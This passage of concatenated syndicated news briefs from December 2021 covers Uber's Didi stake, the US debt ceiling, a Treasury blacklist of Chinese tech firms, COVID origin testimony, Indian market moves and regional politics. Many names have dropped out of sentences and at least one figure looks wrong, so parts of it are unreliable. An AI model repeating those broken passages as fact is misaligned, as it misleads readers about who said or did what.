suppressing cultural and religious freedom in Tibet. China has rejected the accusations. Since becoming China's President in 2013, Xi Jinping has pursued a firm policy of stepping up security control of Tibet. Beijing has been cracking down on Buddhist monks and followers of the Dalai Lama, who despite his exile remains a widely admired spiritual leader in the remote Himalayan region. Beijing views the 86-year-old Dalai Lama as a separatist. Last month, China's ruling Communist Party appointed Wang Junzheng, sanctioned by the US, Britain, the EU and Canada for his alleged role in the human rights violations against Uygur Muslims in Xinjiang, as the head of the party unit in Tibet. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) The CEO of Technologies Inc said on Tuesday the company was looking sell stakes in what it considers non-strategic investments in other companies, including its shares in Chinese ride hailing company Global Inc. Speaking at a virtual fireside chat with a UBS analyst, Chief Executive Dara Khosrowshahi said many of the in which has a stake have recently gone public and are still subject to a lockup period. While Khosrowshahi said would continue to hold some stakes for strategic reasons, it was looking to sell many of them, including in "Our stake we don't believe is strategic. They're a competitor, China is a pretty difficult environment with very little transparency," the Uber CEO said. Khosrowshahi said the company was in no rush to sell the shares. "Those kinds of stakes we look to monetize smartly over time," he said. Uber shares rose 4.3% to close at $37.26 after Khosrowshahi's remarks on Tuesday. He also said Uber last week had its best week ever in terms of company-wide gross bookings at its ride-hail and food delivery operations. But overall, ride-hail trips remained around 10% below pre-pandemic levels, the CEO said. Uber had roughly $13.1 billion tied up in investments in other as of the end of the third quarter, including $4.1 billion in Didi. Some investors have grown concerned that Uber holding on to these investments sends a signal to the market that stakes in other are more attractive than putting freed-up capital into Uber's own operations. Uber's operational business last quarter for the first time achieved profitability on an adjusted earnings basis, but its Didi stake drove a $2.4 billion net loss in the third quarter. Shares of Didi, which has been rattled by a probe by Chinese regulators into its data practices, are down around 53% from their June 30 IPO price. Under pressure from Chinese regulators, Didi earlier this month said it would withdraw from the U.S. stock exchange and pursue a Hong Kong listing. Didi and Uber, both backed by Japanese conglomerate Softbank Group Corp, in 2016 struck a deal under which Uber exited the Chinese market and sold its China business to Didi in exchange for equity. Uber also holds stakes in Indian food delivery company Zomato, Southeast Asian rival Grab, self-driving company Aurora Innovation Inc and others. Grab and Aurora are also backed by Softbank. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) The World Food Programme (WFP) on Tuesday said that the UN needs USD 220 million per month to feed 23 million Afghans. " is facing an avalanche of hunger and destitution the likes of which I have never seen in my twenty-plus years with the World Food Program," WFP Country Director Mary-Ellen McGroarty said in a press release. McGroarty added that the WFP urgently needs USD 220 million each month in 2022 for 23 million Afghans. In November, WFP assisted more than seven million people, dispatching over 50,000 million tons of food - almost double the dispatches in September, the release said. In preparation for the coming year, WFP began prepositioning food in strategic locations across the northeast and central highlands of the country where heavy winter snows can cut off communities from assistance, the release added. An estimated 98 per cent of Afghans are not consuming enough food, a 17 per cent increase since August, according to the latest WFP survey cited in the release. The humanitarian crisis deepened in after the Taliban took over the country in mid-August. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) The U.S. Senate on Tuesday approved raising the federal government's debt limit by $2.5 trillion, to about $31.4 trillion, and sent it to the House of Representatives to pass and avert an unprecedented default. The 50-49 party-line vote follows a months-long standoff between Democrats and Republicans, with the latter seeking to force President Joe Biden's party to raise the debt limit on its own from the current $28.9 trillion level, generating fodder for attack ads during the 2022 congressional elections. A deal last week between Democratic Senate Majority Leader Chuck Schumer and his Republican counterpart, Mitch McConnell, set the stage for Tuesday's vote, bypassing normal Senate rules requiring at least 60 of the chamber's 100 members to agree to advance most legislation. The Democratic-led House will also need to approve the bill before sending it to Biden for his signature. The chamber was expected to take the matter up later on Tuesday. Schumer said the increase would cover the government's needs into 2023, through the Nov. 8 midterm elections that will determine control of Congress. U.S. Treasury Secretary Janet Yellen had urged Congress to hike the debt limit before Wednesday. Under the unusual deal worked out by Schumer and McConnell, and approved by both chambers last week, legislation raising the debt ceiling could be passed this one time in the Senate by a simple majority, which meant Democrats could get it through on their own. In the House, Republican Representative Jodey Arrington told the chamber's Rules Committee he was disappointed that McConnell had agreed to the deal. The country's debt level was at its highest since World War Two and "we ain't in a war," Arrington said. The committee's chairman, Democrat Jim McGovern, responded: "I don't normally have many nice things to say about Mitch McConnell, but I do think he understands that ... not to allow this to go forward, it would be ruinous to our " The committee then voted 9-4 to move the legislation to the House floor. The increase is needed in part to cover debt incurred during Republican Donald Trump's presidency, when the debt rose by about $7.85 trillion, partly through sweeping tax cuts and spending to fight the COVID-19 pandemic. Republicans, who oppose the debt ceiling increase and control half of the Senate's 100 seats, have tried to link the vote to Biden's $1.75 trillion "Build Back Better" bill to bolster the social safety net and fight climate change. "Every Senate Democrat is going to vote along party lines to raise our nation's debt limit by trillions of dollars," McConnell said in a speech before the vote. "If they jam through another reckless taxing and spending spree, this massive debt increase will just be the beginning." But Schumer was upbeat, saying: "This is about paying debt accumulated by both parties, so I'm pleased Republicans and Democrats came together to facilitate a process that has made addressing the debt ceiling possible." The debt ceiling fight and another self-created crisis, passing a bill to continue funding the government through February, occupied much of Congress' time this month, and members in both chambers are now eager to begin long holiday breaks. It remains unclear if congressional Democrats will be able to meet Schumer's other goal, passing Biden's sweeping $1.75 trillion bill to bolster the social safety net and fight climate change by Christmas. Deep disagreements within the party on the size and scope of the package have stalled that effort. (Reporting by Susan Cornwell, David Morgan, Richard Cowan and Makini Brice; Editing by Scott Malone and Peter Cooney) (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The will add eight Chinese companies, including the world's largest commercial drone manufacturer DJI Technology Co Ltd, to an investment blacklist this week, the Financial Times reported on Wednesday. The U.S. Treasury will put the companies on its aChinese military-industrial complex companiesa blacklist on Thursday because of their alleged involvement in surveillance of the Muslim minority, the FT report said, citing two people briefed on the move. U.S. investors are barred from taking stakes in companies on the list, which currently cites around 60 firms. A DJI spokesperson declined to comment on the FT report, but directed Reuters to the company's statement when it was added to the U.S. Commerce Department's "Entity List" a year ago for the same reasons. That listing prohibited the company from buying or using U.S. technology or components. At the time, DJI said it had done nothing to justify the move and it would continue to sell its products in the United States, where it has built up a large market. The U.S. Treasury did not immediately respond to a Reuters request for comment. The new additions would come just days after artificial intelligence start-up SenseTime Group was placed on the same Treasury list, leading the company to postpone its $767 million Hong Kong initial public offering (IPO). SenseTime said the accusations against it were unfounded. U.N. experts and rights groups estimate more than a million people, mainly Uyghurs and members of other Muslim minorities, have been detained in recent years in a vast system of camps in China's far-west region of Xinjiang. Some foreign lawmakers and parliaments have labelled the treatment of Uyghurs as genocide, citing evidence of forced sterilisations and deaths inside the camps. denies these claims and says population growth rates are above the national average. The FT named the other companies being added to the list as image-recognition software firm Megvii, supercomputer manufacturer Dawning Information Industry, facial recognition specialist CloudWalk Technology, cyber security group Xiamen Meiya Pico, artificial intelligence company Yitu Technology and cloud computing firms Leon Technology and NetPosa Technologies. (Reporting by Shivam Patel in Bengaluru, additional reporting by David Kirton; Editing by Tom Hogue and Jane Wardell) (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) A Canadian molecular biologist on Wednesday told cross-party members of Parliament (MPs) on the House of Commons Science and Technology Committee that a leak from a laboratory in Wuhan region of China is now the more likely origin of the COVID-19 global pandemic. Dr Alina Chan, specialising in gene therapy and cell engineering and co-author of Viral: The Search for the Origin of COVID-19', told the Parliament panel's evidence session on scientific research that the pandemic was being caused by the unique feature of the called furin cleavage site, which has been linked to the Wuhan Institute of Virology. Asked by the panel about the probability of a lab leak as the origin of the pandemic, Chan said a lab origin is more likely than natural origin at this point. We all agree that there was a critical event at the Huanan Seafood Market, that was a superspreader event caused by humans. There is no evidence pointing to a natural animal origin of the virus at that market, she noted. On the question of her level of confidence that the world would eventually be able to establish the true origins of COVID-19, Chan said it was simply a matter of time. Right now it's not safe for people who know about the origin of this pandemic to come forward. It might be five years from now, it might be 50 years from now, but we live in an era where there's so much data being collected and stored...we just need a credible, systematic investigation, she said. On whether the virus was modified in the lab before a leak, Chan said: We have heard from many top virologists that a genetically engineered origin of this virus is reasonable...and this includes virologists who themselves have made modifications to the first SARS virus. We know now that this virus has a very unique feature, called the furin cleavage site that makes it the pandemic pathogen it is. So, without this feature, there's no way this would be causing this pandemic. "Only recently in September did a proposal get leaked showing that scientists from the EcoHealth Alliance were in collaboration with the Wuhan Institute of Virology developing this pipeline for inserting novel furin cleavage sites, these genetic modifications, into SARS-like viruses in the lab. Chan stressed that the burden was on the scientists in question to show that their work did not result in the creation of SARS-COV2, the virus behind COVID-19, and that an investigation of documents being made available by US-based EcoHealth Alliance could hold the key. Her co-author, Lord Matt Ridley, was also asked similar questions about the lab leak theory and he concurred with Chan's assertion that it was more likely than not the cause behind the pandemic. We have to face the fact that after two months we knew the origins of SARS through markets, and after a couple of months we knew the origin of MERS through camels. In this case, after two years we still haven't found a single infected animal that could be the progenitor of this pandemic; that's extremely surprising, he said. Ridley, along with Chan, agreed that any leak was most likely an accident as he traced the journey of scientists a few years ago to bring SARS-like viruses back to Wuhan for experiments. It does have to be taken seriously. It is regrettable that in 2020 there was a pretty systematic attempt to shut down this topic, he noted. Ridley added: We need to find out so we can prevent the next pandemic. We need to know whether we should be tightening up work in laboratories or whether we should be tightening up regulations relating to wildlife sales in markets. At the moment we are really not doing either. We also need to know to deter bad actors who are watching this episode and thinking that unleashing a pandemic is something they could get away with. Richard Horton, Editor-in-Chief of The Lancet' medical journal, also agreed that the lab leak theory behind COVID-19 is a hypothesis that needs to be taken seriously and needs to be investigated further, as referenced by the World Health Organisation (WHO). The evidence session forms part of the UK Parliament's Science and Technology Committee inquiry into "reproducibility and research integrity", which is expected to produce its findings in 2022. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) Shares of moved higher by 7.3 per cent to Rs 708.50 on the BSE in Wednesday's intra-day trade on the back of heavy volumes in an otherwise weak market on positive outlook. The stock was the two-wheeler maker had hit a 52-week high of Rs 793.45 on November 9, 2021. Besides, it had touched a record high of Rs 795 on January 2, 2018. At 12:24 pm, TVS Motor was up 7 per cent at Rs 707.25 on the BSE, as compared to a 0.45-per cent decline in the S&P BSE Sensex. Trading volumes on the counter jumped over five-fold today with a combined 5.56 million equity shares, representing 1.2 per cent of total equity of TVS Motor, having changed hands on the NSE and BSE till the time of writing of this report. In the past three months, the stock has outperformed the market by surging nearly 30 per cent after the company reported highest-ever revenue, and earnings before interest, tax, depreciation and amortization (ebitda) for the quarter ended September 2021 (Q2FY22). In comparison, the S&P BSE Sensex was down 1.5 per cent during the same period. Separately, TVS Motor, last week, announced the launch of its premium Apache RR 310 and 125 cc scooters TVS NTORQ in the Philippines market, boosting its product portfolio. Further, the company had last month signed a Memorandum of Understanding (MOU) with the Government of Tamil Nadu for investment in Future Technologies and Electric Vehicle (EV). Under the MOU, will invest Rs 1,200 crore in Future Technologies and EV in the next four years. The investment will be mainly for the design, development and manufacturing of new products and capacity expansion in the EV space. TVS Motor board approved the incorporation of a subsidiary to undertake the electric mobility business. It will invest Rs10bn on product development and capacity expansion. EV launches are targeted at segments such as premium scooters, high-performance sporty motorcycles, commuter space, delivery market and 3Ws. TVS iQube has a healthy order book. It is already available in 33 cities, and the management plans to expand pan-India by FY22-end. It plans to expand monthly capacity to 10k units by Jan22. It is incorporating a wholly-owned subsidiary for the EV business to increase focus, flexibility, and freedom. "The domestic 2W volume outlook is positive, and premium motorcycles/scooters could outperform ahead. In addition, the export outlook is encouraging, owing to healthy demand in Africa and Latin America regions. We expect 11 per cent volume CAGR over FY22-24E," analysts at Emkay Global Financial Services said in Q2 results update. The brokerage firm retained 'buy' rating on the stock with a target price of Rs 800 per share. Volume growth is expected to be driven by new product launches (Raider) in the domestic market as well as a ramp-up in exports. It is enjoying the benefits of economies of scale and operating leverage, resulting in EBITDA margin nearing the double-digit range. TVS earns ~40 per cent of overall EBITDA from the domestic Scooter business, making it vulnerable to an EV disruption in the listed 2W space, analyst at Motilal Oswal Financial Services said. The 75-year-old leader, who has become Prime Minister five times, secured 2733 votes leaving his contender Dr Shekhar Koirala behind with 1855 votes. Prime Minister Sher Bahadur Deuba has secured a comfortable majority securing the post of party president for the second consecutive term after the second round of voting in the ongoing General Convention of the ruling Nepali Congress. The 75-year-old leader, who has become Prime Minister five times, secured 2733 votes leaving his contender Dr Shekhar Koirala behind with 1855 votes, as per the final results published by the election committee. "In the second round of voting, a total of 4623 votes were cast. Out of these, only 4588 votes were valid," The Post quoted the election committee as saying. Deuba earlier in the first round-faced four other candidates vying for the same post which led to a run-off that was held till Tuesday late night. Upon getting support from influential leaders Krishna Prasad Sitaula, Prakash Man Singh, Bimalendra Nidhi, and Sashank Koirala in the runoff Deuba secured the majority. In the 1991 elections, Deuba was elected to the House of Representatives from Dadeldhura where he was born in 1946. Deuba was again elected from the same constituency in the 1994 mid-term elections and was elected parliamentary party leader of the Nepali Congress. He has been the president of the NC since 2016. Deuba first became prime minister in 1995. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) Moscow has repeatedly refuted US allegations of preparing an invasion while expressing concerns about the transfer of NATO's military equipment near Russian borders. | Photo: Bloomberg A group of US lawmakers who recently visited urged the Biden administration to take immediate action against including imposing preemptive sanctions. "I learned that we have an important window in the next few weeks to deter further Russian aggression from happening, everything from a limited incursion to including a full-scale invasion," Congressman Seth Moulton, who just wrapped up a trip to Ukraine, told CNN on Tuesday. Moulton, who was accompanied on his trip to Kiev by congressmen Salud Carbajal, Ruben Gallego, Mike Waltz and Joe Wilson, said he already sent a memorandum to the Biden administration urging it to take more proactive steps and detailed the kinds of weapons the United States needed to further equip Kiev with. Moulton said the Biden administration did not want to provoke Russian President Vladimir Putin but needed to concentrate more on finding ways to deter He said the choice of weapons being sent to Kiev needed to reflect that strategy. Waltz, according to AFP, said the US should already be imposing preemptive sanctions on has repeatedly refuted US allegations of preparing an invasion while expressing concerns about the transfer of NATO's military equipment near Russian borders and the increase in the number of Western instructors in Donbas. has also said it has the right to move forces within its own territory. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) Anupam Rasayan India gained 2.11% to Rs 858.40 after the company received a supply order from Japanese multinational customer. The scope of the order is to supply an existing life science related speciality chemical. The company earlier signed letter of intent for the product with same customer and now it has entered into a long-term contract for next four years. The contract is worth Rs 135 crore. Speaking about the order, Anand Desai, MD of Anupam Rasayan said, "We are delighted to inform you that we have signed yet another long-term binding contract with one of the top global chemical company. This conversion of LOI into a long-term contract reinforces the capability of our company to be a preferred partner with some of the world's most marquee companies. We continue to work on expanding our chemistries and enhance the wallet share with our customers. Shares of Anupam Rasayan extended their winning run to fourth consecutive trading session. The counter has gained 4% in four days. The stock also hit a record high of Rs 876.15 in intraday today. Anupam Rasayan India is one of the leading companies engaged in the custom synthesis (CSM) and manufacturing of specialty chemicals in India. The company reported 37.2% rise in consolidated net profit to Rs 36.05 crore on a 13.3% increase in revenue from operations to Rs 248.92 crore in Q2 FY22 over Q2 FY21. Powered by Capital Market - Live News (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Compuage Infocom surged 8.11% to Rs 34 after the company said that it has entered into authorized service provider agreement with Lexmark International (India). The agreement is for providing single-function and multi-function laser printers and related services all over the territory of India. Founded in 1991, headquartered in Lexington, Kentucky and owned by large private equity companies namely APEC, PAG Asia and Legend Holdings, Lexmark is recognized as a global leader in print hardware, service, solutions and security by many of the technology industry's leading market analyst firms. Having a revenue of around $3.5 billion, Lexmark creates innovative IoT and cloud-enabled imaging technologies that help customers in more than 170 countries worldwide achieve their vision of print simplicity, security, savings and sustainability. This tie-up would help Compuage in adding further value to its existing services portfolio and expand the business to a higher level thereby increasing profitability by its nationwide reach. On the BSE, 14.77 lakh shares were traded in the counter so far compared with average daily volumes of 2.35 lakh shares in the past two weeks. The stock hit a high of Rs 36.75 and a low of Rs 31.05 so far during the day. Compuage Infocom is a distributor of IT products. CIL's traded product portfolio comprises of 5 different verticals namely- PCs components & peripherals; mobility products; physical safety and security products; enterprise solutions and cloud computing. These products are sold to system integrators, corporate resellers, original equipment manufacturers (OEMs), system assemblers and large format retailers. The company's consolidated net profit rose 10.87% to Rs 7.55 crore on a 3.08% increase in sales to Rs 1,121.24 crore in Q2 FY22 over Q2 FY21. Powered by Capital Market - Live News (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The issue received bids for over 87.96 lakh shares as against 25.28 lakh shares on offer. The initial public offer (IPO) of HP Adhesives received bids for 87,96,050 shares as against 25,28,500 shares on offer, according to stock exchange data at 17:00 IST on Wednesday (15 December 2021). The issue was subscribed 3.48 times. The issue opened for bidding on 15 December 2021 and it will close on 17 December 2021. The price band of the IPO is fixed at Rs 262-274. An investor can bid for a minimum of 50 equity shares in multiples thereof. The offer comprises fresh issue of 41,40,000 equity shares and an offer for sale by selling shareholders of up to 4,57,200 equity shares. Ahead of the IPO, HP Adhesives on Thursday, 9 December 2021, finalized allocation of 20,68,700 equity shares to anchor investors at Rs 274 each, aggregating to Rs 56.68 crore. The company proposes to utilize the net proceeds from the fresh issue towards funding capital expenditure for expansion of production capacity at the existing manufacturing facility at Raigad, Maharashtra and at the additional unit having a proposed construction area admeasuring about 4,532.57 square metres (built-up) area on the adjacent plot amounting Rs 25.51 crore and funding the working capital requirements of the company amounting Rs 54 crore and balance towards general corporate purposes. HP Adhesives is a fast-growing multi-product, multi-category consumer adhesives and sealants company. The company manufactures a wide range of consumer adhesives and sealants such as PVC (polyvinyl chloride), cPVC (chlorinated polyvinyl chloride) and uPVC (unplasticized polyvinyl chloride) solvent cement, synthetic rubber adhesive, PVA (polyvinyl acetate) adhesives, silicone sealant, acrylic sealant, gasket shellac, other sealants and PVC pipe lubricant which are sold across India, through an extensive distribution network of distributors, and exported also to several countries, through network of distributors and direct customers. The company also manufactures these products for select large PVC pipe manufacturing companies under co-branding or private label on order basis. It also sell ancillary products like ball valves, thread seal and other tapes and FRP (fiber-reinforced plastic) products for drainage and architectural solutions that are distributed along with its products to the end customers through distribution network. The company reported a net profit of Rs 3.10 crore and total income of Rs 70.52 crore in the six months ended on 30 September 2021. Powered by Capital Market - Live News (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Larsen & Toubro announced that the water and effluent treatment business of L&T Construction has secured a repeat order from the State Water & Sanitation Mission (SWSM) Uttar Pradesh to implement rural water supply projects providing functional house tap connections (FHTC) under the Jal Jeevan Mission. The business has been entrusted to implement rural water supply projects catering to the potable water requirement of 1900 villages in the Prayagraj Revenue Division of Prayagraj district. The scope comprises construction of Tube Wells, Pump Houses cum Chlorination Rooms, Overhead Tanks, Treatment Systems, Solar Plants, Rising Main Et Distribution Pipeline Network, Staff Quarters, Individual House Connections, etc. including allied Electromechanical & Automation works. The business is already executing water supply schemes in the districts of Mahoba, Banda, Chitrakhoot, Gonda, Varanasi, Lucknow and Sonbhadra for the SWSM. Further, the Smart Water Infrastructure segment of the Water & Effluent Treatment Business has been awarded a contract for an integrated infrastructure project at Silvassa in the Union Territory of Dadra Et Nagar Haveli and Daman at Diu by the Silvassa Smart City. The scope of work includes constructing 68 Km of smart roads along with storm water drains, cross drainage structures, 24x7 water supply s stem, sewerage collection network, and street lighting. This project is a part of the Government of India's flagship 'Smart Cities Mission'. With this order, the Smart Water Infrastructure Business has reinforced its credentials in building smart cities and driving the development of smart infrastructure across the country. Powered by Capital Market - Live News (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Mold-Tek Packaging fell 2.92% to Rs 770.35 after the company launched the QIP (qualified institutional placement) of its equity shares. The company said that its QIP Committee, at the meeting held yesterday (14 December 2021), has approved the opening of the qualified institutions placement (QIP). It also approved and adopted the preliminary placement document in connection with the QIP. The floor price of the QIP issue is Rs 722.40 per equity share, the company said in a regulatory filing. The floor price is set at a discount of 8.96% to Tuesday's closing price of Rs 793.55 per share. A meeting of the fund raising committee of the company shall be held on Friday, 17 December 2021, to consider and determine the issue price of equity shares to be issued pursuant to the QIP. In its draft placement document filed with the bourses, Mold-Tek Packaging said that it intends to utilize the net proceeds from the QIP issue for ongoing and future capital expenditure requirements of the company, working capital requirements, debt repayment and general corporate purposes. Mold-Tek Packaging is a packaging company, which is involved in the manufacturing of plastic packaging containers. The company manufactures rigid plastic packaging containers through injection molding technology for paints, lubes, oils, food, fast-moving consumer goods (FMCG) and other sectors. The company's consolidated net profit rose 30.68% to Rs 17.59 crore on a 33.99% increase in net sales to Rs 159.53 crore in Q2 FY22 over Q2 FY21. Powered by Capital Market - Live News (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Lok Congress, Captain Amarinder Singh's new party, on Wednesday, appointed six more district presidents. The party had announced 10 district presidents and three spokespersons on December 11. According to General Secretary in-charge organization, Kamaldeep Singh Saini, these districts include Barnala, Ferozepur, Fatehgarh Sahib, Hoshiarpur, Sri Muktsar Sahib and Malerkotla. He said, "Gurdarshan Singh Brar has been appointed president from Barnala, Gurcharan Singh Nahar from Ferozepur, Sandeep Singh Bal from Fatehgarh Sahib, Gulshan Rai Passi from Hoshiarpur, Sukhjinder Singh Chahal from Muktsar Sahib and Amjal Ali from Malerkotla. The other district presidents announced earlier include Jagmohan Sharma for Ludhiana Urban, Satvir Singh Palli Jhikki for SBS Nagar (Nawanshahar), Sandeep Singh Brar for Faridkot, Harinder Singh Jaurkian for Bathinda Urban, Prof Bhupinder Singh for Bathinda Rural, Capt MS Bedi for Fazilka, Satinderpal Singh Satha for Ludhiana Rural, Jeevan Dass Bawa for Mansa, KK Malhotra for Patiala Urban and Navdeep Singh Mokha for Sangrur, according to the release by the party. Captain Amarinder Singh, who recently floated his own party Lok Congress, on Sunday said that decision to form an alliance with Bharatiya Janata Party (BJP) and Sukhdev Singh Dhindsa's party has been taken in principle and seat adjustment will be announced soon. Elections to 117-member Legislative Assembly are scheduled to be held next year. In 2017 Assembly polls, won an absolute majority in the state by winning 77 seats and ousted the SAD-BJP government after 10 years. Aam Aadmi Party emerged as the second-largest party winning 20 seats in 117-member Punjab Legislative Assembly. The Shiromani Akali Dal (SAD) could only manage to win 15 seats while the BJP secured 3 seats. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) Amid face-off between the government and the opposition on the issue of suspension of MPs, senior Congress leader P. Chidambaram on Wednesday alleged that the government is running away from voting on the issue. Chidambaram said, "The proviso of Rule 256 (2) of the Rules of Procedure of the Rajya Sabha is very clear. A motion can be moved "at any time" to terminate the suspension of a member or members. Such a motion was moved today. Why was it disallowed?" "Why is the government shy of voting on the motion? Let the government defeat the motion and proclaim its scant respect for fairness and justice," he added. Leader of the House Piyush Goyal, after the house resumed, said the suspended MPs should apologize after attacking marshals and misbehaving with the female marshals and senior opposition members are not repenting on the conduct. "Government is ready to consider their request but they should apologize," he added. Leader of the opposition Mallikarjun Kharge said, "we are requesting you that the crime which we have not done is put on us." Kharge alleged that house is being misled about the incident. During short discussion on Covid, the opposition demanded that the suspended MPs should be brought in the house after revocation. The Rajya Sabha on Wednesday witnessed disruption over the suspension issue. The opposition MPs held placards and walked up to the well of the house and raised slogans during the Question Hour and Deputy Chairman Harivansh Narayan Singh adjourned the house till 2 p.m. Earlier, as the proceedings started on Wednesday the Opposition members demanded their notices be accepted, but were rejected by the Chair and also revocation of suspension of the MPs, following which Chairman M. Venkiah Naidu adjourned the house till 12 noon. --IANS miz/skp/ (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) The on Wednesday is learnt to have cleared a bill on electoral reforms, including the one to link electoral roll with Aadhaar on a voluntary basis to root out multiple enrolments. According to the bill, the electoral law will also be made gender neutral for service voters. An army man's wife is entitled to be enrolled as a service voter, but a woman army officer's husband is not, according to provisions in the electoral law. But this may change once the bill gets Parliament's nod. The poll panel had asked the law ministry to replace the term wife' with spouse' in the provision in the Representation of the People Act related to service voters. Another provision of the proposed bill will allow the youth to enrol as voters on four different dates every year. As of now, those turning 18 on or before January 1 of every year are only allowed to register as voters. The Election Commission of India (ECI) had been pushing for multiple cut-off dates to allow more eligible people to register as voters. Currently, for an election to be held in a particular year, only an individual who has attained the age of 18 years as on January 1 of that year or before is eligible to be enrolled in the voters' list. The EC had told the government that the January 1 cut-off date set for the purpose deprives several youngsters from participating in the electoral exercise held in a particular year. Due to only one qualifying or cut-off date, a person attaining the age of 18 years on January 2 cannot be registered. Therefore, a person who turns 18 after January 1 will have to wait for the next year to get registered. The law ministry had recently told a parliamentary panel that it is proposed to amend section 14(b) of the Representation of the People Act to insert four qualifying dates (or cut-off dates) January 1, April 1, July 1, and October 1 of every year. In March, then law minister Ravi Shankar Prasad had told Lok Sabha in a written reply that the poll panel has proposed to link electoral roll with the "Aadhaar ecosystem" with a "view to curb the menace of multiple enrolment of the same person at different places". He said this would require amendments to the electoral laws. The minister had said the poll panel has informed that it has taken multiple measures for the security and the safety of the electoral roll data platform. "Electoral roll database system does not enter into the Aadhaar ecosystem and the system is used only for the authentication purpose keeping a tight air-gap between the two systems. These measures effectively prevent theft interception and hijacking of the voter system," Prasad had said. The poll panel has been pressing the government to amend provisions of the Representation of the People Act allowing EC to seek Aadhaar numbers of those applying to be voters and those who are already part of the electoral rolls. According to the EC proposal sent in August 2019, the electoral law should be amended to empower electoral registration officers to seek Aadhaar number of existing voters as well as of those applying to enrol themselves in the voters' list. In August 2015, a Supreme Court order on Aadhaar had put the brakes on the EC's project to link UIDAI (Aadhaar) number with voters' electoral data to check multiple entries in electoral rolls. The poll panel was then collecting Aadhaar number as part of its Electoral Roll Purification and Authentication Programme (NERPAP). Seeking to check multiple entries in electoral rolls and to make them error-free, the EC had embarked on an ambitious project to link Aadhaar numbers with electoral data. Since the Supreme Court order makes it clear that sanction of law is required to collect Aadhaar number, the commission has proposed changes in electoral law, a poll panel functionary had explained. Yet another proposal cleared on Wednesday will allow Election Commission the powers to take over any premise for the conduct of elections. There were some objections to taking over schools etc during the period of elections. The bill on these reforms cleared on Wednesday are likely to be introduced in the ongoing Winter session. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) The (AAP) on Wednesday announced creating 10 lakh (1 million) jobs every year and providing an allowance of Rs 5,000 per month to the unemployed in Uttar Pradesh if it is voted to power in the upcoming assembly elections. The announcement was made by AAP leader in presence of party Rajya Sabha MP Sanjay Singh as he hit out at the current BJP government in Uttar Pradesh over job situation and paper leaks. Sisodia trained guns at the Yogi Adityanath dispensation, which, he said, had come to power and promised 70 lakh jobs but played a joke on the youth of the state. The AAP had earlier announced measures to benefit farmers and free electricity if voted to power in the 2022 assembly elections, the deputy chief minister of Delhi said. "Today, I want to say on behalf of the that give your vote to the and jobs will be created, papers won't get leaked. Currently, the employment exchange website of Uttar Pradesh has 34 lakh applicants looking for jobs," he said. The AAP wants to tell these 34 lakh job seekers, their families and others, "you can create jobs with your votes by voting AAP to power", Sisodia said. "If voted to power, the AAP government will create 10 lakh jobs every year and till these 34 lakh youth do not get jobs, Rs 5,000 job allowance will be provided to them every month," he told a press conference. Sisodia said a detailed plan for creating these jobs and ensuring budget for them has been made under the leadership of party leaders Arvind Kejriwal and Sanjay Singh. "They (BJP government) had promised 70 lakh jobs but if one looks at the situation, Uttar Pradesh is not number one in providing jobs but whenever there is an exam for recruitment, then the state is number one in leaking the question paper of those exams in the Yogi raj," Sisodia claimed. "All records of leaking exam question papers have got shattered in the Yogi government," the AAP leader said, listing out major exam paper leaks since 2017, the year the BJP formed government in Uttar Pradesh. Dubbing the BJP-led government as "paper leak sarkar", Sisodia said the current dispensation is playing with the future of the state's youth. Assembly elections in Uttar Pradesh are yet to be announced but expected early next year. Sisodia claimed that Chief Minister Kejriwal's vision helped a pandemic-hit Delhi create 10 lakh jobs this year, as he hailed his education and governance policies. The once jobless youth is now even creating jobs in Delhi, he said. "But in Uttar Pradesh, the situation is such that jobless people seeking employment get lathi-charged," Sisodia alleged and appealed to the people of the state to vote for the AAP in the Uttar Pradesh elections. Sisodia said AAP's government in Delhi in over five years has shown people how they deliver on their promises, which are not mere 'jumlas'. Examples on delivering on promises by the AAP can be seen in the changed scenario of government schools, healthcare centres and trade, among others, he said. "We will do it similarly in Uttar Pradesh also," the AAP leader added. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) Blinken said the situation in Myanmar in the 10 months since the coup had gotten worse" with mass arrests and violence against protesters.. Photo: Bloomberg US Secretary of State says the Biden administration is weighing tough new sanctions on to pressure the country's military leaders to restore a democratic path interrupted by a February coup. Blinken said the situation in in the 10 months since the coup had gotten worse" with mass arrests and violence against protesters. And he said the administration is also looking very actively at designating ongoing repression against Myanmar's Rohingya Muslim population as a genocide. I think it's going to be very important in the weeks and months ahead to look at what additional steps and measures we can take individually, collectively to pressure the regime to put the country back on a democratic trajectory, Blinken said. Blinken made the comments on Wednesday in Malaysia, where he is on the second leg of a three-nation trip to Southeast Asia. His Malaysian counterpart said the Association of Southeast Asian Nations must also act, saying the regional grouping must do some soul-searching about its policy toward member The long and short of it is we have to look at what additional steps, measures could be taken to move things in a better direction and that's something that we're looking at," Blinken told reporters at a news conference with Malaysian Foreign Minister Saifuddin Abdullah. Blinken was asked specifically about potential sanctions on Myanmar's state-run oil and gas sector but did not mention the possibility in his response. He did, however, address the possibility of a genocide determination. We continue also to look actively at determinations of what are the actions taken in Myanmar and whether they constitute genocide and that's something we're looking at very actively right now, Blinken said. He repeated demands for the Myanmar junta to release all of those who had been unjustly detained," including democracy leader Aung San Suu Kyi, allow unhindered humanitarian access to areas in need of assistance, end violence against protesters and restore Myanmar to its democratic path." In response to the same question, Abdullah said Malaysia believes that must adopt a 